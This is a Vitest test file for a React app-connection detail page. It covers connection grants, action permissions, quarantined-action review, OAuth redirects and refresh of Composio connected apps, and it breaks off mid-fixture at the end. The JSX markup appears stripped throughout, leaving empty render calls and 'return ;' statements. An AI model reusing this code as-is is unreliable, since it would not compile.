// @vitest-environment jsdom
import { flushSync } from "react-dom";
import type { ReactNode } from "react";
import { createRoot } from "react-dom/client";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { getAppStoreDefinition } from "@paperclipai/shared";
import type { AggregatorAppSnapshot, AggregatorAppsResponse } from "@paperclipai/shared/aggregator-apps";
import { ApiError } from "@/api/client";
import { queryKeys } from "@/lib/queryKeys";
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
import { AppDetail } from "./AppDetail";
import { APP_TABS } from "./app-tabs";
const getConnectionMock = vi.hoisted(() => vi.fn());
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
const listApplicationsMock = vi.hoisted(() => vi.fn());
const listGalleryMock = vi.hoisted(() => vi.fn());
const listConnectionsMock = vi.hoisted(() => vi.fn());
const listCatalogMock = vi.hoisted(() => vi.fn());
const listConnectionProfileConfigurationMock = vi.hoisted(() => vi.fn());
const listPoliciesMock = vi.hoisted(() => vi.fn());
const listConnectionActivityMock = vi.hoisted(() => vi.fn());
const listActionRequestsMock = vi.hoisted(() => vi.fn());
const listTestAgentsMock = vi.hoisted(() => vi.fn());
const getTestAgentAccessMock = vi.hoisted(() => vi.fn());
const updateConnectionMock = vi.hoisted(() => vi.fn());
const finishAppMock = vi.hoisted(() => vi.fn());
const deleteProfileMock = vi.hoisted(() => vi.fn());
const finalizeOAuthAccessMock = vi.hoisted(() => vi.fn());
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
const refreshCatalogMock = vi.hoisted(() => vi.fn());
const checkConnectionHealthMock = vi.hoisted(() => vi.fn());
const startOAuthMock = vi.hoisted(() => vi.fn());
const reconnectConnectionMock = vi.hoisted(() => vi.fn());
const listConnectionGrantsMock = vi.hoisted(() => vi.fn());
const revokeConnectionGrantMock = vi.hoisted(() => vi.fn());
const createConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
const revokeConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
const replaceConnectionGrantMembersMock = vi.hoisted(() => vi.fn());
const startPersonalAuthorizationMock = vi.hoisted(() => vi.fn());
const listUserDirectoryMock = vi.hoisted(() => vi.fn());
const getSessionMock = vi.hoisted(() => vi.fn());
const listAggregatorAppsMock = vi.hoisted(() => vi.fn());
const syncAggregatorAppsMock = vi.hoisted(() => vi.fn());
const mockNavigate = vi.hoisted(() => vi.fn());
const mockParams = vi.hoisted(() => ({ connectionId: "conn-1", tab: "permissions" as string | undefined }));
const mockSearchParams = vi.hoisted(() => ({ value: new URLSearchParams() }));
const navigateComponentMock = vi.hoisted(() => vi.fn());
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
const popupAssignMock = vi.hoisted(() => vi.fn());
vi.mock("@/components/ai-connections/AiConnectionPoolConnector", () => ({
AiConnectionPoolConnector: () =>
Connection pool controls
,
}));
vi.mock("@/api/tools", () => ({
toolsApi: {
listAggregatorApps: (connectionId: string) => listAggregatorAppsMock(connectionId),
syncAggregatorApps: (connectionId: string, force: boolean) => syncAggregatorAppsMock(connectionId, force),
getConnection: (connectionId: string) => getConnectionMock(connectionId),
getConnectionInstalls: (connectionId: string) => getConnectionInstallsMock(connectionId),
listApplications: (companyId: string) => listApplicationsMock(companyId),
listGallery: (companyId: string) => listGalleryMock(companyId),
listConnections: (companyId: string) => listConnectionsMock(companyId),
listCatalog: (connectionId: string) => listCatalogMock(connectionId),
listConnectionProfileConfiguration: (connectionId: string) => listConnectionProfileConfigurationMock(connectionId),
deleteProfile: (profileId: string) => deleteProfileMock(profileId),
listPolicies: (companyId: string) => listPoliciesMock(companyId),
listConnectionActivity: (connectionId: string, limit: number) =>
listConnectionActivityMock(connectionId, limit),
listActionRequests: (companyId: string, status: string) =>
listActionRequestsMock(companyId, status),
listTestAgents: (connectionId: string) => listTestAgentsMock(connectionId),
getTestAgentAccess: (connectionId: string, agentId: string) =>
getTestAgentAccessMock(connectionId, agentId),
updateConnection: (connectionId: string, input: unknown) =>
updateConnectionMock(connectionId, input),
finishApp: (companyId: string, connectionId: string, input: unknown) =>
finishAppMock(companyId, connectionId, input),
finalizeOAuthAccess: (companyId: string, connectionId: string, input: unknown) =>
finalizeOAuthAccessMock(companyId, connectionId, input),
putConnectionInstalls: (connectionId: string, installs: unknown) =>
putConnectionInstallsMock(connectionId, installs),
archiveConnection: vi.fn(),
refreshCatalog: (connectionId: string) => refreshCatalogMock(connectionId),
checkConnectionHealth: (connectionId: string) => checkConnectionHealthMock(connectionId),
startOAuth: (connectionId: string, input?: unknown) => input === undefined
? startOAuthMock(connectionId)
: startOAuthMock(connectionId, input),
listConnectionGrants: (connectionId: string) => listConnectionGrantsMock(connectionId),
revokeConnectionGrant: (connectionId: string, grantId: string) =>
revokeConnectionGrantMock(connectionId, grantId),
createConnectionGrantDelegation: (connectionId: string, grantId: string, agentId: string) =>
createConnectionGrantDelegationMock(connectionId, grantId, agentId),
revokeConnectionGrantDelegation: (
connectionId: string,
grantId: string,
delegationId: string,
) => revokeConnectionGrantDelegationMock(connectionId, grantId, delegationId),
replaceConnectionGrantMembers: (connectionId: string, grantId: string, memberUserIds: string[]) =>
replaceConnectionGrantMembersMock(connectionId, grantId, memberUserIds),
startPersonalAuthorization: (companyId: string, connectionId: string, input: unknown) =>
startPersonalAuthorizationMock(companyId, connectionId, input),
reconnectConnection: (id: string, values: unknown) => reconnectConnectionMock(id, values),
},
}));
vi.mock("./AppLogo", () => ({
AppLogo: ({
name,
brandKey,
logoUrl,
allowRemoteFallback,
}: {
name: string;
brandKey?: string | null;
logoUrl?: string | null;
allowRemoteFallback?: boolean;
}) => (
),
}));
vi.mock("@/api/access", () => ({
accessApi: {
listUserDirectory: (companyId: string) => listUserDirectoryMock(companyId),
},
}));
vi.mock("@/api/auth", () => ({
authApi: {
getSession: () => getSessionMock(),
},
}));
vi.mock("@/api/agents", () => ({
agentsApi: {
list: vi.fn().mockResolvedValue([
{ id: "agent-1", name: "Coder", title: "Engineer", status: "active" },
]),
},
}));
vi.mock("@/lib/browserNavigation", () => ({
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
}));
vi.mock("@/lib/router", () => ({
useParams: () => mockParams,
useNavigate: () => mockNavigate,
useSearchParams: () => [mockSearchParams.value, vi.fn()],
Navigate: ({ to, replace }: { to: string; replace?: boolean }) => {
navigateComponentMock({ to, replace });
return ;
},
Link: ({ to, children, ...props }: { to: string; children: ReactNode }) => (
{children}
),
}));
vi.mock("@/context/CompanyContext", () => ({
useCompany: () => ({
selectedCompanyId: "company-1",
selectedCompany: { id: "company-1", name: "Paperclip" },
}),
}));
vi.mock("@/context/BreadcrumbContext", () => ({
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
}));
const pushToastMock = vi.hoisted(() => vi.fn());
vi.mock("@/context/ToastContext", () => ({
useToast: () => ({ pushToast: pushToastMock }),
}));
// eslint-disable-next-line @typescript-eslint/no-explicit-any
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
async function act(callback: () => void | Promise) {
let result: void | Promise = undefined;
flushSync(() => {
result = callback();
});
await result;
}
async function flushReact() {
for (let i = 0; i < 3; i += 1) {
await act(async () => {
await Promise.resolve();
await new Promise((resolve) => window.setTimeout(resolve, 0));
});
}
}
function connection(overrides: Record = {}) {
return {
id: "conn-1",
companyId: "company-1",
applicationId: "app-1",
name: "GitHub",
connectionKind: "managed",
transport: "mcp_remote",
status: "active",
transportConfig: { url: "https://github.example/mcp" },
config: { url: "https://github.example/mcp" },
credentialSecretRefs: [],
credentialRefs: [],
healthStatus: "healthy",
healthCheckedAt: null,
lastError: null,
enabled: true,
lastUsedAt: null,
createdByAgentId: null,
createdByUserId: null,
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
...overrides,
};
}
/** A member who may configure this connection and edit every agent. */
function fullCapabilities(overrides: Record = {}) {
return {
canConfigure: true,
canCreateOrganizationGrant: true,
canSetCompanyInstall: true,
canConnectAsCurrentUser: true,
canManageAgentInstalls: true,
canViewOtherPersonalIdentities: false,
editableAgentIds: ["agent-1", "agent-2"],
...overrides,
};
}
function organizationGrant(overrides: Record = {}) {
return {
id: "grant-org",
companyId: "company-1",
connectionId: "conn-1",
kind: "organization",
subjectUserId: null,
providerTenant: { name: "Notion workspace" },
credentialSecretRefs: [],
status: "active",
isDefault: true,
createdByAgentId: null,
createdByUserId: "user-1",
revokedAt: null,
revokedByAgentId: null,
revokedByUserId: null,
lastUsedAt: null,
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
members: [],
capabilities: { canRevoke: true, canEditAudience: true },
...overrides,
};
}
function personalGrant(overrides: Record = {}) {
return {
...organizationGrant(),
id: "grant-user",
kind: "user",
subjectUserId: "user-1",
providerTenant: null,
isDefault: false,
capabilities: { canRevoke: true, canEditAudience: false },
...overrides,
};
}
function dedicatedGitHubGrant(
overrides: Record = {},
githubOverrides: Record = {},
) {
return organizationGrant({
id: "grant-agent",
kind: "agent",
subjectAgentId: "agent-1",
subjectUserId: null,
isDefault: false,
providerTenant: {
github: {
userId: "123",
login: "dottabot",
installationCount: 1,
repositoryCount: 1,
repositorySelection: "selected",
installationIds: ["456"],
installationOwnerLogins: ["paperclipai"],
repositories: [{ id: "789", fullName: "paperclipai/test-repo", installationId: "456" }],
installationUrl: "https://github.com/apps/paperclip-test/installations/new",
managementUrl: "https://github.com/settings/installations/456",
webhookHealth: "pending",
lastWebhookAt: null,
lastAccessRefreshAt: "2026-09-05T12:00:00.000Z",
...githubOverrides,
},
},
...overrides,
});
}
function catalogEntry(overrides: Record = {}) {
return {
id: "catalog-read",
companyId: "company-1",
connectionId: "conn-1",
toolName: "read_repo",
title: "Read repo",
description: "Read repository metadata",
status: "active",
isReadOnly: true,
riskLevel: "read",
createdAt: new Date("2026-01-01T00:00:00Z"),
updatedAt: new Date("2026-01-01T00:00:00Z"),
...overrides,
};
}
function setInputValue(input: HTMLInputElement, value: string) {
const setter = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype,
"value",
)?.set;
setter?.call(input, value);
input.dispatchEvent(new Event("input", { bubbles: true }));
}
function aggregatorApps(apps: AggregatorAppSnapshot[] = []): AggregatorAppsResponse {
return {
provider: "composio", apps, discovery: { availability: "available", message: null },
sync: { status: "ready", coverage: "supported_catalog", checked: 2, total: 2, failed: 0,
lastCompletedAt: new Date().toISOString(), error: null },
};
}
function observedApp(toolkit: string, name: string, overrides: Partial = {}): AggregatorAppSnapshot {
return { connectionId: "conn-1", provider: "composio", appSlug: toolkit, appName: name, toolkit,
status: "connected", freshness: "fresh", checkedAt: new Date().toISOString(), errorAt: null,
accounts: [{ id: `${toolkit}-account`, alias: null, status: "ACTIVE", isDefault: true }], ...overrides };
}
describe("AppDetail", () => {
let container: HTMLDivElement;
let root: ReturnType;
beforeEach(() => {
popupAssignMock.mockReset();
vi.spyOn(window, "open").mockReturnValue({ closed: false, location: { assign: popupAssignMock, href: "about:blank" }, focus: vi.fn(), close: vi.fn(), sessionStorage: window.sessionStorage } as unknown as Window);
sessionStorage.clear();
container = document.createElement("div");
document.body.appendChild(container);
mockParams.connectionId = "conn-1";
mockParams.tab = "permissions";
mockSearchParams.value = new URLSearchParams();
getConnectionMock.mockResolvedValue(connection());
listAggregatorAppsMock.mockResolvedValue(aggregatorApps());
syncAggregatorAppsMock.mockResolvedValue(aggregatorApps());
getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
listApplicationsMock.mockResolvedValue({
applications: [{ id: "app-1", applicationKey: "github", name: "GitHub", status: "active" }],
});
listConnectionsMock.mockResolvedValue({ connections: [] });
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
listGalleryMock.mockResolvedValue({
apps: [
{
key: "github",
name: "GitHub",
logoUrl: "https://example.com/github.png",
tagline: "GitHub tagline",
description: "Give agents a governed way to inspect repositories and pull requests.",
authKind: "api_key",
transportTemplate: { transport: "mcp_remote", url: "https://github.example/mcp" },
credentialFields: [],
recommendedDefaults: {},
urlPatterns: [],
},
],
});
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({
id: "catalog-write",
toolName: "write_issue",
title: "Write issue",
description: "Create or update an issue",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined",
toolName: "delete_repo",
title: "Delete repo",
status: "quarantined",
isReadOnly: false,
}),
],
});
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [
{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "company" }],
},
],
});
listPoliciesMock.mockResolvedValue({
policies: [
{
policyType: "require_approval",
enabled: true,
config: {
source: "app_gallery_finish",
connectionId: "conn-1",
catalogEntryId: "catalog-write",
},
},
],
});
listConnectionActivityMock.mockResolvedValue({ events: [], issues: {}, actionRequests: {} });
listActionRequestsMock.mockResolvedValue({ actionRequests: [] });
listTestAgentsMock.mockResolvedValue({ agents: [] });
updateConnectionMock.mockResolvedValue(connection({ enabled: false }));
finishAppMock.mockResolvedValue({});
deleteProfileMock.mockResolvedValue({ deleted: true });
finalizeOAuthAccessMock.mockResolvedValue({});
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
checkConnectionHealthMock.mockResolvedValue({ connection: connection(), healthStatus: "ok" });
refreshCatalogMock.mockResolvedValue({ discoveredCount: 0, quarantinedCount: 0, catalog: [] });
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "smoke_lab",
authorizationUrl: "https://example.test/oauth",
expiresAt: "2026-07-10T00:00:00.000Z",
});
createConnectionGrantDelegationMock.mockResolvedValue({
id: "delegation-1",
grantId: "grant-user",
agentId: "agent-1",
});
revokeConnectionGrantDelegationMock.mockResolvedValue({});
listUserDirectoryMock.mockResolvedValue({ users: [] });
getSessionMock.mockResolvedValue({
user: { id: "user-1", name: "Dotta", image: null },
session: { userId: "user-1" },
});
});
afterEach(() => {
flushSync(() => root?.unmount());
container.remove();
vi.restoreAllMocks();
vi.clearAllMocks();
});
async function renderAppDetail() {
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
root = createRoot(container);
await act(async () => {
root.render(
,
);
});
await flushReact();
return client;
}
function useComposioConnection() {
getConnectionMock.mockResolvedValue(connection({ name: "Composio", authKind: "oauth",
config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } }));
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-1", applicationKey: "composio", name: "Composio", metadata: { sourceTemplateKey: "composio" } }] });
}
it("refreshes connected apps on first load, shows progress, and exposes the completed inventory", async () => {
useComposioConnection();
const prior = aggregatorApps([observedApp("airtable", "Airtable")]);
const completed = aggregatorApps([observedApp("circleback-mcp", "Circleback")]);
listAggregatorAppsMock.mockResolvedValue(prior);
syncAggregatorAppsMock.mockResolvedValue({ ...prior, sync: { ...prior.sync, status: "syncing", checked: 0 } });
const client = await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Refreshing apps… 0 of 2"));
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
expect(syncAggregatorAppsMock).toHaveBeenCalledWith("conn-1", true);
expect(container.querySelector('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
expect(container.textContent).not.toContain("Provider permissions come from your last sign-in");
expect(container.textContent).not.toContain("Reconnect to update permissions");
listAggregatorAppsMock.mockResolvedValue(completed);
await act(async () => { await client.refetchQueries({ queryKey: queryKeys.tools.aggregatorApps("conn-1", "user-1"), exact: true }); });
await flushReact();
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
expect(list.textContent).toContain("Circleback");
expect(list.textContent).not.toContain("Airtable");
expect(container.textContent).toContain("Apps refreshed.");
expect(container.querySelector('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
});
it("manual refresh updates only this gateway and retains previous apps when it fails", async () => {
useComposioConnection();
const observed = aggregatorApps([observedApp("notion", "Notion")]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
expect(container.querySelector('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
syncAggregatorAppsMock.mockRejectedValueOnce(new Error("Authorization expired"));
await act(async () => container.querySelector('button[aria-label="Refresh Composio"]')!.click());
await flushReact();
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Last known apps are shown."));
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toContain("NotionNot verified");
expect(syncAggregatorAppsMock.mock.calls).toEqual([["conn-1", true], ["conn-1", true]]);
expect(finishAppMock).not.toHaveBeenCalled();
expect(startOAuthMock).not.toHaveBeenCalled();
});
it("groups provider variants and displays sign-in status without treating unseen apps as connected", async () => {
useComposioConnection();
const observed = aggregatorApps([
observedApp("notion", "Notion"), observedApp("notion_mcp", "Notion", { appSlug: "notion" }),
observedApp("slack", "Slack", { accounts: [{ id: "expired", alias: null, status: "EXPIRED", isDefault: false }] }),
observedApp("github", "GitHub", { status: "not_connected", accounts: [] }),
]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
expect(list.querySelectorAll("li")).toHaveLength(2);
expect(list.textContent).toContain("Notion2 accountsConnected");
expect(list.textContent).toContain("SlackNeeds sign-in");
expect(list.textContent).not.toContain("GitHub");
});
it("keeps unavailable discovery explicit without automatically retrying unsupported gateways", async () => {
useComposioConnection();
listAggregatorAppsMock.mockResolvedValue({ ...aggregatorApps(), discovery: { availability: "unsupported", message: "Account discovery unavailable." } });
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Account discovery unavailable."));
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
expect(container.querySelector('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
});
it.each([
["UNVERIFIED", "Not verified"],
["INITIATED", "Waiting for sign-in"],
["EXPIRED", "Needs sign-in"],
])("shows %s provider health as %s", async (status, label) => {
useComposioConnection();
const observed = aggregatorApps([observedApp("notion", "Notion", {
accounts: [{ id: "account", alias: null, status, isDefault: false }],
})]);
listAggregatorAppsMock.mockResolvedValue(observed);
syncAggregatorAppsMock.mockResolvedValue(observed);
await renderAppDetail();
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toBe(`Notion${label}`);
});
it("does not request manager-only account inventory without configuration access", async () => {
useComposioConnection();
listConnectionGrantsMock.mockResolvedValue({ grants: [], capabilities: fullCapabilities({ canConfigure: false }), currentUserId: "user-1", members: [] });
await renderAppDetail();
expect(listAggregatorAppsMock).not.toHaveBeenCalled();
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
expect(container.textContent).not.toContain("Connected apps");
});
it.each([
{ transport: "rest_api", config: { sourceTemplateKey: "composio", connectionMethodKey: "api-key" } },
{ transport: "mcp_remote", config: { provider: "composio", parentConnectionId: "old-parent", toolkitSlug: "github" } },
])("shows replacement and explicit removal for a retired Composio record", async (legacy) => {
getConnectionMock.mockResolvedValue(connection({ ...legacy, enabled: false, healthStatus: "error" }));
await renderAppDetail();
expect(container.textContent).toContain("Connection retired");
expect(container.textContent).toContain("Remove each obsolete connection separately");
expect(container.textContent).not.toContain("Paused");
expect(container.textContent).not.toContain("Refresh actions");
const replacement = Array.from(container.querySelectorAll("button")).find((b) => b.textContent === "Add Composio MCP connection")!;
await act(async () => replacement.click());
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=composio");
const danger = Array.from(container.querySelectorAll("button")).find((b) => b.textContent?.includes("Danger zone"))!;
await act(async () => danger.click());
expect(container.textContent).toContain("Remove app");
expect(Array.from(container.querySelectorAll("button")).some((b) => b.textContent === "Reconnect")).toBe(false);
});
it("uses Permissions as the primary connection page and has no Setup tab", () => {
expect(APP_TABS.map((tab) => tab.key)).toEqual([
"permissions",
"review",
]);
});
it("allows the gallery logo fallback after application identity lookup fails", async () => {
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
await renderAppDetail();
expect(container.querySelector("[data-app-logo]")?.getAttribute("data-allow-remote-fallback")).toBe("true");
});
it("keeps a customized connection logo after application identity lookup fails", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Dotta's source control",
config: {
url: "https://github.example/mcp",
sourceTemplateKey: "github",
},
}));
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
await renderAppDetail();
const logo = container.querySelector("[data-app-logo]");
expect(logo?.getAttribute("data-brand-key")).toBe("github");
expect(logo?.getAttribute("data-logo-url")).toBe("https://example.com/github.png");
expect(logo?.getAttribute("data-allow-remote-fallback")).toBe("true");
});
it("keeps the unverified-server marker on URL-only connection details", async () => {
getConnectionMock.mockResolvedValue(
connection({
name: "127.0.0.1",
config: { url: "http://127.0.0.1:8848/mcp" },
transportConfig: { url: "http://127.0.0.1:8848/mcp" },
}),
);
await renderAppDetail();
expect(container.textContent).toContain("Custom app");
expect(container.textContent).toContain("hosted at 127.0.0.1");
expect(container.textContent).toContain("Unverified server");
expect(container.textContent).toContain("127.0.0.1:8848");
});
it("redirects a missing tab to Permissions", async () => {
mockParams.tab = undefined;
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
});
it.each([
["review", "Review 1 new action"],
["permissions", "Which agents can use this connection?"],
])("renders the %s tab panel", async (tab, expectedText) => {
mockParams.tab = tab;
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("2 actions available");
expect(container.textContent).toContain(expectedText);
expect(container.textContent).not.toContain("Setup");
expect(container.querySelector("section.bg-card")).toBeNull();
});
it("counts only active catalog entries as available actions", async () => {
mockParams.tab = "permissions";
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({ id: "catalog-disabled", toolName: "disabled_action", status: "disabled" }),
catalogEntry({ id: "catalog-quarantined", toolName: "pending_action", status: "quarantined" }),
catalogEntry({ id: "catalog-removed", toolName: "removed_action", status: "removed" }),
],
});
await renderAppDetail();
expect(container.textContent).toContain("1 action available");
expect(container.textContent).not.toContain("2 actions available");
});
it.each(["setup", "advanced"])("redirects the retired %s route to Permissions", async (tab) => {
mockParams.tab = tab;
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/apps/conn-1/permissions",
replace: true,
});
});
it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => {
mockParams.tab = "permissions";
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("Loading tools…");
expect(container.textContent).not.toContain("Action permissions");
});
it("keeps the loaded connection visible when a refetch fails transiently", async () => {
mockParams.tab = "permissions";
const client = await renderAppDetail();
expect(container.textContent).toContain("Which agents can use this connection?");
getConnectionMock.mockRejectedValue(new ApiError("Paperclip is restarting.", 503, { error: "tenant_app_unavailable" }));
await act(async () => { await client.invalidateQueries({ queryKey: queryKeys.tools.connection("conn-1") }); });
await flushReact();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.querySelector('[data-query-view="error"]')).toBeNull();
expect(container.textContent).not.toContain("Paperclip is restarting.");
expect(container.textContent).not.toContain("tenant_app_unavailable");
});
it("shows readable copy and a Retry for a real connection failure", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockRejectedValueOnce(new ApiError("Boom", 500, { error: "Boom" }));
await renderAppDetail();
const errorView = container.querySelector('[data-query-view="error"]');
expect(errorView?.textContent).toContain("Couldn't load the connection");
expect(container.textContent).not.toContain("Which agents can use this connection?");
const retry = Array.from(container.querySelectorAll("button")).find((button) => button.textContent?.trim() === "Retry");
expect(retry).toBeTruthy();
await act(async () => retry!.click());
await flushReact();
expect(container.querySelector('[data-query-view="error"]')).toBeNull();
expect(container.textContent).toContain("Which agents can use this connection?");
});
it.each([false, true])("replaces a cached connection with not-found after deletion (router: %s)", async router => {
if (router) getConnectionMock.mockResolvedValue(connection({ config: { aiRouter: { pluginKey: "test-router" } } }));
const client = await renderAppDetail();
const controls = router ? "Connection pool controls" : "Which agents can use this connection?";
expect(container.textContent).toContain(controls);
getConnectionMock.mockRejectedValue(new ApiError("not_found", 404, null));
await act(async () => { await client.invalidateQueries({ queryKey: queryKeys.tools.connection("conn-1") }); });
await flushReact();
expect(client.getQueryData(queryKeys.tools.connection("conn-1"))).toBeDefined();
expect(container.textContent).toContain("We couldn't find that app.");
expect(container.textContent).toContain("Back to connectors");
expect(container.textContent).not.toContain(controls);
expect(container.textContent).not.toContain("not_found");
});
it("redirects the retired Test tab into Permissions", async () => {
mockParams.tab = "test";
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
});
it("confirms a successful connection on Permissions and clears the one-time URL flag", async () => {
mockParams.tab = "permissions";
mockSearchParams.value = new URLSearchParams("success=1");
await renderAppDetail();
expect(pushToastMock).toHaveBeenCalledWith({
title: "GitHub connected",
body: "The connection is ready. Review permissions or test an action below.",
tone: "success",
});
expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/permissions", { replace: true });
});
it.each([
["company-1", "github", "active", true],
["other-company", "github", "active", false],
["company-1", "notion", "active", false],
["company-1", "github", "pending", false],
])("resumes a skill import only for its company's active GitHub callback (%s, %s, %s)", async (companyId, provider, status, returns) => {
rememberSkillSourceReturn("company-1", "new");
mockSearchParams.value = new URLSearchParams("success=1");
getConnectionMock.mockResolvedValue(connection({ companyId, status, config: { sourceTemplateKey: provider } }));
await renderAppDetail();
expect(mockNavigate).toHaveBeenCalledWith(returns ? "/skills/sources/new" : "/apps/conn-1/permissions", { replace: true });
expect(skillSourceReturnPath("company-1")).toBe(returns ? null : "/skills/sources/new");
});
it("normalizes the retired post-OAuth Setup URL into Permissions", async () => {
mockParams.tab = "setup";
mockSearchParams.value = new URLSearchParams("oauth=choose-access");
getConnectionMock.mockResolvedValue(connection({
name: "Notion",
authKind: "oauth",
credentialPolicy: "per_user",
config: { sourceTemplateKey: "notion" },
}));
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/apps/conn-1/permissions?oauth=choose-access",
replace: true,
});
expect(finalizeOAuthAccessMock).not.toHaveBeenCalled();
});
it("reviews quarantined actions as one toggle list and saves allowed and blocked choices together", async () => {
mockParams.tab = "review";
listCatalogMock.mockResolvedValue({
catalog: [
catalogEntry(),
catalogEntry({
id: "catalog-write",
toolName: "write_issue",
title: "Write issue",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined-allow",
toolName: "delete_repo",
title: "Delete repo",
status: "quarantined",
isReadOnly: false,
}),
catalogEntry({
id: "catalog-quarantined-block",
toolName: "archive_repo",
title: "Archive repo",
status: "quarantined",
isReadOnly: false,
}),
],
});
await renderAppDetail();
expect(container.textContent).toContain("Review 2 new actions");
expect(container.textContent).toContain("Delete repo");
expect(container.textContent).toContain("Archive repo");
expect(container.textContent).not.toContain("Nothing is waiting for your OK right now.");
const allowToggle = container.querySelector(
'button[role="switch"][aria-label="Delete repo allowed"]',
);
expect(allowToggle?.getAttribute("aria-checked")).toBe("false");
await act(async () => {
allowToggle?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save choices")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: expect.arrayContaining([
"catalog-read",
"catalog-write",
"catalog-quarantined-allow",
]),
askFirstCatalogEntryIds: ["catalog-write"],
reviewedCatalogEntryIds: expect.arrayContaining([
"catalog-quarantined-allow",
"catalog-quarantined-block",
]),
access: "all_agents",
});
const finishInput = finishAppMock.mock.calls.at(-1)?.[2] as { enabledCatalogEntryIds: string[] };
expect(finishInput.enabledCatalogEntryIds).not.toContain("catalog-quarantined-block");
});
it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Smoke Lab HTTP MCP fixture",
config: {
smokeLabFixture: "oauth-http",
oauth: {
provider: "smoke_lab",
smokeLabFixture: true,
scopes: ["smoke:openid"],
},
},
}));
await renderAppDetail();
// The old generic "Connect with " block is gone: the connection's
// fixed identity type is explicit even before that identity is connected.
expect(container.textContent).toContain("Which humans can use this credential?");
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).toContain("Organization identity");
expect(container.textContent).toContain("Not connected");
expect(
Array.from(container.querySelectorAll("button")).some(
(button) => button.textContent?.trim() === "Connect organization identity",
),
).toBe(true);
});
it("keeps reconnect off a healthy Notion permissions page", async () => {
getConnectionMock.mockResolvedValue(connection({
name: "Notion",
createdByUserId: "user-1",
config: {
sourceTemplateKey: "notion",
oauth: {
provider: "notion",
connectedAt: "2026-08-06T20:00:00.000Z",
},
},
}));
listGalleryMock.mockResolvedValue({
apps: [{
key: "notion",
name: "Notion",
logoUrl: "https://example.com/notion.png",
tagline: "Search and update your Notion workspace.",
